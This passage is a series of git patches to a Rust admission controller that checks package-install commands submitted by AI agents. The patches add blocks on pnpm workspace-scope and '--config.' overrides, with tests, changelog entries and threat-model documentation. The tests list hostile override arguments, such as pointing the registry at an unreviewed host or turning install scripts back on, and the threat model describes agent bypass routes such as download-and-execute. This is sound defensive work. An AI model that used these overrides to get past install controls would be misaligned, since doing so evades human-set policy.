"ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + let label = format!("pnpm add {}", scope_arguments.join(" ")); + (policy, intent, label) +} From 31d26006bad19ecc7304bc6cf7e608062b81c0db Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:14:48 +0900 Subject: [PATCH 099/702] fix(admission): block pnpm workspace scope overrides --- crates/agent-artifact-admission/src/policy.rs | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index c689d4ca..aef0295c 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -512,8 +512,21 @@ fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bo }) } "pnpm" => { - contains_flag(&["-g", "--global", "--prefix", "--dir", "-C"]) - || arguments.iter().any(|argument| argument == "--location=global") + contains_flag(&[ + "-g", + "--global", + "--prefix", + "--dir", + "-C", + "--filter", + "-F", + "--filter-prod", + "--workspace-root", + "-w", + "--recursive", + "-r", + "--include-workspace-root", + ]) || arguments.iter().any(|argument| argument == "--location=global") || arguments.windows(2).any(|pair| { pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") }) From 5f71cd53feaa2ca40a5fa0cc48c861f62104b4b4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:14:58 +0900 Subject: [PATCH 100/702] docs(changelog): record pnpm workspace-scope controls --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 191304f7..138b5bde 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,7 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources or destinations: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory selectors, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources or destinations: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory and filter/recursive/workspace-root selectors, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. From 538c905a9b21f8f12ec9167c70a2931fc6ed40c5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:15:38 +0900 Subject: [PATCH 101/702] docs(security): trace pnpm workspace selectors --- docs/doctoring/agent-artifact-admission.md | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/docs/doctoring/agent-artifact-admission.md b/docs/doctoring/agent-artifact-admission.md index d53a11f0..704a4eec 100644 --- a/docs/doctoring/agent-artifact-admission.md +++ b/docs/doctoring/agent-artifact-admission.md @@ -18,7 +18,7 @@ Verified 2026-09-03. This note records the primary sources that justify the admi | Reject uv index and environment overrides | uv documents `--index`/`--default-index` as command-line package-index selectors, `--python` as an arbitrary target-environment selector, and `--system` as permission to mutate system Python | `requests_alternate_trust_root`, `requests_alternate_install_root`, `uv_index_selection_cannot_override_the_approved_registry`, and `uv_environment_selection_cannot_escape_the_broker_selected_install_root` | | Reject Cargo source, install-root and inline configuration overrides | Cargo documents `--git`, `--path`, `--registry`, and `--index` as package-source selectors, `--root`/`install.root` as installation-root authorities, and `--config KEY=VALUE or PATH` as a command-line configuration override | `requests_alternate_trust_root`, `requests_alternate_install_root`, `cargo_source_selection_cannot_override_the_approved_registry`, and `cargo_inline_configuration_cannot_override_install_root` | | Reject npm workspace scope overrides | npm documents `--workspace` as selecting named or path-addressed workspaces and `--workspaces` as running the command in all configured workspaces; install commands respect those selectors | `requests_alternate_install_root`; `npm_workspace_selection_cannot_expand_the_broker_selected_install_scope` | -| Reject pnpm working-directory overrides | pnpm's current CLI source defines global `--dir` / `-C` as setting the working directory and accepts it before or after the subcommand; its dispatch path resolves project configuration from that directory | `requests_alternate_install_root`; `pnpm_directory_selection_cannot_escape_the_broker_selected_workspace` | +| Reject pnpm working-directory and workspace-scope overrides | pnpm's current CLI source defines global `--dir` / `-C` as setting the working directory and exposes global filter, recursive, workspace-root and include-workspace-root selectors that can retarget `add` across workspace projects | `requests_alternate_install_root`; `pnpm_directory_selection_cannot_escape_the_broker_selected_workspace`; `pnpm_scope_escape_contract.rs` | | Reject Yarn Classic workspace-root escape overrides | Yarn Classic documents `yarn add ... --ignore-workspace-root-check` / `-W` as allowing installation at the workspaces root, widening the broker-selected package scope | `requests_alternate_install_root`; `yarn_workspace_root_contract.rs` | | Reject Bun working-directory, workspace-filter and explicit-config overrides | Bun documents `--cwd` as changing the working directory, `--filter` / `-F` as selecting monorepo packages for `bun install`, and `--config` as selecting a `bunfig.toml`; Bun configuration can replace the default or scoped package registry | `requests_alternate_install_root`, `requests_alternate_trust_root`, and `bun_scope_escape_contract.rs` | | Require an unambiguous install-script suppression flag | npm documents `ignore-scripts` as a Boolean whose safe state is `true`; npm CLI Boolean options can be explicitly set back to false, so a contradictory argv must not satisfy admission merely because a safe token also appears | `has_unambiguous_boolean_safety_flag`; hostile `--ignore-scripts=false` and `--no-ignore-scripts` regressions | @@ -66,9 +66,11 @@ npm's current workspace documentation defines workspaces as nested packages in t npm also documents `ignore-scripts` as a Boolean configuration with default `false`; when true, lifecycle scripts from package manifests are not executed. Wardnet's admission contract therefore requires the explicit safe token and rejects contradictory Boolean spellings in the same argv rather than attempting to reproduce npm's full precedence parser. This is deliberately fail-closed: the controller proves that the submitted command cannot negate the required safety flag before execution, while the executor and quarantine runtime remain responsible for environment and filesystem isolation. -### pnpm working-directory authority +### pnpm working-directory and workspace-scope authority -pnpm's current CLI source declares `dir` as a global option with short alias `-C`, long spelling `--dir`, legacy alias `prefix`, and documentation that it sets the working directory and is accepted anywhere on the command line. The current dispatch code then resolves `.npmrc` and `pnpm-workspace.yaml` from the canonicalized `--dir` rather than from the process working directory. A submitted `pnpm add` that carries `--dir` or `-C` can therefore move both project scope and project-local configuration outside the broker-reviewed workspace even when the artifact operand itself is approved. Wardnet maps both spellings, including attached-value forms, to `alternate_install_root`; the broker or quarantine executor remains responsible for establishing its own controlled working directory outside submitted argv. +pnpm's current CLI source declares `dir` as a global option with short alias `-C`, long spelling `--dir`, legacy alias `prefix`, and documentation that it sets the working directory and is accepted anywhere on the command line. The current dispatch code then resolves `.npmrc` and `pnpm-workspace.yaml` from the canonicalized `--dir` rather than from the process working directory. A submitted `pnpm add` that carries `--dir` or `-C` can therefore move both project scope and project-local configuration outside the broker-reviewed workspace even when the artifact operand itself is approved. + +The same current CLI surface exposes global `--filter` / `-F`, `--filter-prod`, `--workspace-root` / `-w`, `--recursive` / `-r`, and `--include-workspace-root`. The source comments explicitly describe filter selectors as choosing workspace projects by name/path/dependency/change query, workspace-root as running on the root project, and include-workspace-root as adding the root to recursive `add` execution. Those flags change the set of projects an approved install can mutate. Wardnet therefore maps those selectors, along with `--dir` / `-C`, to `alternate_install_root`; the broker or quarantine executor remains responsible for establishing its own controlled working directory and project set outside submitted argv. ### Yarn Classic workspace-root override @@ -104,7 +106,7 @@ npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/v10/commands/npm-ins pip developers. (2026). *pip install: pip documentation v26.2.1.* https://pip.pypa.io/en/stable/cli/pip_install/ -pnpm contributors. (2026). *CLI command arguments: `--dir` / `-C` working-directory option* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/cli_args/cli_command.rs +pnpm contributors. (2026). *CLI command arguments: working-directory and workspace-selection options* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/cli_args/cli_command.rs pnpm contributors. (2026). *CLI dispatch: configuration resolution from the selected directory* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/cli_args/dispatch.rs From f3c03b387afe74c133fcb543c0e150363d940a9b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:19:15 +0900 Subject: [PATCH 102/702] test(admission): reject pnpm dotted config authority --- .../tests/pnpm_config_override_contract.rs | 83 +++++++++++++++++++ 1 file changed, 83 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pnpm_config_override_contract.rs diff --git a/crates/agent-artifact-admission/tests/pnpm_config_override_contract.rs b/crates/agent-artifact-admission/tests/pnpm_config_override_contract.rs new file mode 100644 index 00000000..fa1fc524 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pnpm_config_override_contract.rs @@ -0,0 +1,83 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn pnpm_dotted_config_cannot_inject_unreviewed_install_authority() { + for config_argument in [ + "--config.registry=https://packages.example.invalid/", + "--config.ignore-scripts=false", + "--config.modules-dir=/tmp/unreviewed-modules", + ] { + let (policy, intent) = pnpm_case(config_argument); + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{config_argument} must not inject caller-selected pnpm runtime configuration" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "{config_argument} must produce the stable alternate_trust_root reason" + ); + } +} + +fn pnpm_case(config_argument: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: "@cwl/example@1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-03.2".to_string(), + allowed_executables: vec!["pnpm".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-pnpm-config-authority".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "pnpm".to_string(), + "add".to_string(), + artifact.artifact_argument.clone(), + "--ignore-scripts".to_string(), + config_argument.to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 8f205a6a6e791defb8308a061b409e98462198d9 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:20:39 +0900 Subject: [PATCH 103/702] fix(admission): reject pnpm dotted config authority --- crates/agent-artifact-admission/src/policy.rs | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index aef0295c..1ebfa0f5 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -479,6 +479,10 @@ fn requests_alternate_trust_root(executable: &str, arguments: &[String]) -> bool && arguments .iter() .any(|argument| matches_cli_flag(argument, "--config"))) + || (executable == "pnpm" + && arguments + .iter() + .any(|argument| argument.starts_with("--config."))) } fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bool { From 80230bec082853d844c4b3a466d08e6da18a39c0 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:20:58 +0900 Subject: [PATCH 104/702] docs(changelog): record pnpm config-override hardening --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 138b5bde..c12f14b3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,7 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources or destinations: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory and filter/recursive/workspace-root selectors, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, or opaque runtime configuration: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, and `--config.=` runtime overrides, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. From 6d0823ce183bf0508d675bb28a478ee6b05f439c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:21:42 +0900 Subject: [PATCH 105/702] docs(security): model pnpm dotted-config authority --- .../agent-artifact-admission-threat-model.md | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index cc507855..5d8cb3f2 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -25,10 +25,10 @@ The credential file, policy/configuration file and audit file are local deployme | Prompt-to-code dependency confusion | Untrusted text names an attacker-controlled or newly claimed package | Exact reviewed ecosystem/name/version/registry/owner/digest match; source text has no authority | `decision=block` | | Unpinned or mutable dependency | Version range, missing digest or changed artifact is admitted | Exact version and SHA-256 are mandatory | `decision=block` | | Registry substitution | Look-alike or alternate registry serves a package with the same name | Exact HTTPS registry identity is part of the approved artifact coordinate | `decision=block` | -| Package-source override | An otherwise approved package coordinate is combined with a command-line alternate index, registry, Git URL or local path so the package manager resolves from an unreviewed source | Reject package-manager trust-root/source selectors such as pip/uv alternate indexes and Cargo registry/index/Git/path overrides before returning `allow` | `decision=block`, reason `alternate_trust_root` | +| Package-source override | An otherwise approved package coordinate is combined with a command-line alternate index, registry, Git URL, local path, or package-manager runtime-configuration channel so resolution semantics come from unreviewed authority | Reject explicit trust-root/source selectors and opaque submitted configuration channels such as pnpm `--config.=` before returning `allow` | `decision=block`, reason `alternate_trust_root` | | Direct download-and-execute | Agent bypasses package policy using curl/wget/shell/runtime evaluation | Structured `argv`; shells, direct downloaders, package executors and runtime inline evaluation remain blocked by invariant | `decision=block` | | Alternate install-root escape | An otherwise approved package-manager command adds global, user, prefix, target, root, system or arbitrary-environment flags so writes escape the broker-selected workspace boundary | Reject explicit package-manager install-root/environment overrides before returning `allow`; runtime filesystem isolation remains the execution broker/quarantine responsibility | `decision=block`, reason `alternate_install_root` | -| Workspace-scope expansion | An approved npm install adds `--workspace` or enabled `--workspaces` selection so the command operates in a caller-selected nested or multi-workspace scope instead of the broker-selected workspace | Reject submitted npm workspace selectors as destination/scope authority changes before returning `allow` | `decision=block`, reason `alternate_install_root` | +| Workspace-scope expansion | An approved package install adds workspace/project selectors so the command operates in caller-selected projects instead of the broker-selected workspace | Reject submitted npm workspace selectors and pnpm working-directory/filter/recursive/workspace-root selectors as destination/scope authority changes before returning `allow` | `decision=block`, reason `alternate_install_root` | | Malformed or missing provenance | Remote instruction source lacks HTTPS or content digest | Strict source-kind validation and SHA-256 requirement | `400` with audited block receipt | | Authentication bypass | Caller omits, duplicates or manipulates the admin token | One bounded visible-ASCII token from the credentials file; constant-time comparison; no environment-variable secret path | `401` | | Oversized request | Memory/CPU pressure or parser bypass using excessive body size | Axum body limit plus bounded configuration | `413`, and the rejection must be audited before response | @@ -42,7 +42,7 @@ The credential file, policy/configuration file and audit file are local deployme A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected npm workspace set, or reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, or local path. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, or local path, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -52,18 +52,20 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. -- Package-manager source, destination, environment and workspace-scope overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources and alternate install roots/environments/workspace scopes, while the downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount and process isolation. +- Package-manager source, destination, environment, workspace-scope and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, and pnpm's submitted dotted configuration channel, while the downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount, process and network isolation. ## Residual risk and future adapters -SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit source/root/environment/workspace overrides narrows the command capability but does not substitute for that runtime isolation boundary. +SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit source/root/environment/workspace/configuration overrides narrows the command capability but does not substitute for that runtime isolation boundary. ## Primary references - National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for Mitigating the Risk of Software Vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 -- Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure Software Development Practices for Generative AI and Dual-Use Foundation Models: An SSDF Community Profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A +- Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure software development practices for generative AI and dual-use foundation models: An SSDF community profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A - npm, Inc. (2026). *Workspaces.* https://docs.npmjs.com/misc/workspaces/ - npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/v10/commands/npm-install/ +- pnpm contributors. (2026). *CLI configuration override parser* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/config_overrides.rs +- pnpm contributors. (2026). *CLI startup and `--config.=` extraction* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/lib.rs - SLSA Community. (2025). *SLSA specification, version 1.2.* https://slsa.dev/spec/v1.2/ - The Update Framework. (2026). *Specification, version 1.0.33.* https://theupdateframework.io/spec/ - Sigstore. (2026). *Sigstore documentation: Overview and security model.* https://docs.sigstore.dev/ ; https://docs.sigstore.dev/about/security/ From eb6523a7406200d534811cf6cd84983abef6144a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 06:23:19 +0900 Subject: [PATCH 106/702] docs(security): trace pnpm dotted configuration authority --- docs/doctoring/agent-artifact-admission.md | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/docs/doctoring/agent-artifact-admission.md b/docs/doctoring/agent-artifact-admission.md index 704a4eec..9f80a65b 100644 --- a/docs/doctoring/agent-artifact-admission.md +++ b/docs/doctoring/agent-artifact-admission.md @@ -18,7 +18,7 @@ Verified 2026-09-03. This note records the primary sources that justify the admi | Reject uv index and environment overrides | uv documents `--index`/`--default-index` as command-line package-index selectors, `--python` as an arbitrary target-environment selector, and `--system` as permission to mutate system Python | `requests_alternate_trust_root`, `requests_alternate_install_root`, `uv_index_selection_cannot_override_the_approved_registry`, and `uv_environment_selection_cannot_escape_the_broker_selected_install_root` | | Reject Cargo source, install-root and inline configuration overrides | Cargo documents `--git`, `--path`, `--registry`, and `--index` as package-source selectors, `--root`/`install.root` as installation-root authorities, and `--config KEY=VALUE or PATH` as a command-line configuration override | `requests_alternate_trust_root`, `requests_alternate_install_root`, `cargo_source_selection_cannot_override_the_approved_registry`, and `cargo_inline_configuration_cannot_override_install_root` | | Reject npm workspace scope overrides | npm documents `--workspace` as selecting named or path-addressed workspaces and `--workspaces` as running the command in all configured workspaces; install commands respect those selectors | `requests_alternate_install_root`; `npm_workspace_selection_cannot_expand_the_broker_selected_install_scope` | -| Reject pnpm working-directory and workspace-scope overrides | pnpm's current CLI source defines global `--dir` / `-C` as setting the working directory and exposes global filter, recursive, workspace-root and include-workspace-root selectors that can retarget `add` across workspace projects | `requests_alternate_install_root`; `pnpm_directory_selection_cannot_escape_the_broker_selected_workspace`; `pnpm_scope_escape_contract.rs` | +| Reject pnpm working-directory, workspace-scope and dotted runtime-config overrides | pnpm's current CLI source defines global `--dir` / `-C`, filter/recursive/workspace-root selectors, and pre-clap `--config.=` extraction that layers recognized installation-affecting settings onto runtime `Config` | `requests_alternate_install_root`; `requests_alternate_trust_root`; `pnpm_directory_selection_cannot_escape_the_broker_selected_workspace`; `pnpm_scope_escape_contract.rs`; `pnpm_config_override_contract.rs` | | Reject Yarn Classic workspace-root escape overrides | Yarn Classic documents `yarn add ... --ignore-workspace-root-check` / `-W` as allowing installation at the workspaces root, widening the broker-selected package scope | `requests_alternate_install_root`; `yarn_workspace_root_contract.rs` | | Reject Bun working-directory, workspace-filter and explicit-config overrides | Bun documents `--cwd` as changing the working directory, `--filter` / `-F` as selecting monorepo packages for `bun install`, and `--config` as selecting a `bunfig.toml`; Bun configuration can replace the default or scoped package registry | `requests_alternate_install_root`, `requests_alternate_trust_root`, and `bun_scope_escape_contract.rs` | | Require an unambiguous install-script suppression flag | npm documents `ignore-scripts` as a Boolean whose safe state is `true`; npm CLI Boolean options can be explicitly set back to false, so a contradictory argv must not satisfy admission merely because a safe token also appears | `has_unambiguous_boolean_safety_flag`; hostile `--ignore-scripts=false` and `--no-ignore-scripts` regressions | @@ -66,11 +66,13 @@ npm's current workspace documentation defines workspaces as nested packages in t npm also documents `ignore-scripts` as a Boolean configuration with default `false`; when true, lifecycle scripts from package manifests are not executed. Wardnet's admission contract therefore requires the explicit safe token and rejects contradictory Boolean spellings in the same argv rather than attempting to reproduce npm's full precedence parser. This is deliberately fail-closed: the controller proves that the submitted command cannot negate the required safety flag before execution, while the executor and quarantine runtime remain responsible for environment and filesystem isolation. -### pnpm working-directory and workspace-scope authority +### pnpm working-directory, workspace-scope and runtime-config authority pnpm's current CLI source declares `dir` as a global option with short alias `-C`, long spelling `--dir`, legacy alias `prefix`, and documentation that it sets the working directory and is accepted anywhere on the command line. The current dispatch code then resolves `.npmrc` and `pnpm-workspace.yaml` from the canonicalized `--dir` rather than from the process working directory. A submitted `pnpm add` that carries `--dir` or `-C` can therefore move both project scope and project-local configuration outside the broker-reviewed workspace even when the artifact operand itself is approved. -The same current CLI surface exposes global `--filter` / `-F`, `--filter-prod`, `--workspace-root` / `-w`, `--recursive` / `-r`, and `--include-workspace-root`. The source comments explicitly describe filter selectors as choosing workspace projects by name/path/dependency/change query, workspace-root as running on the root project, and include-workspace-root as adding the root to recursive `add` execution. Those flags change the set of projects an approved install can mutate. Wardnet therefore maps those selectors, along with `--dir` / `-C`, to `alternate_install_root`; the broker or quarantine executor remains responsible for establishing its own controlled working directory and project set outside submitted argv. +The same current CLI surface exposes global `--filter` / `-F`, `--filter-prod`, `--workspace-root` / `-w`, `--recursive` / `-r`, and `--include-workspace-root`. The source comments describe filter selectors as choosing workspace projects by name/path/dependency/change query, workspace-root as running on the root project, and include-workspace-root as adding the root to recursive `add` execution. Those flags change the set of projects an approved install can mutate. Wardnet therefore maps those selectors, along with `--dir` / `-C`, to `alternate_install_root`. + +pnpm also extracts `--config.=` tokens before clap parses argv and applies recognized values after file-based configuration. Its `ConfigOverrides` source explicitly includes installation-affecting settings such as `registry`, `global_dir`, `modules_dir`, `virtual_store_dir`, `ignore_scripts`, trust policy, and proxy settings, while unknown keys are accepted so future pnpm configuration can evolve. That is an intentionally open-ended runtime-configuration authority that the admission controller cannot safely reproduce as a finite allowlist. Submitted pnpm dotted config therefore fails closed as `alternate_trust_root`; a trusted execution broker may establish controlled pnpm configuration outside the untrusted install argv boundary. ### Yarn Classic workspace-root override @@ -110,6 +112,10 @@ pnpm contributors. (2026). *CLI command arguments: working-directory and 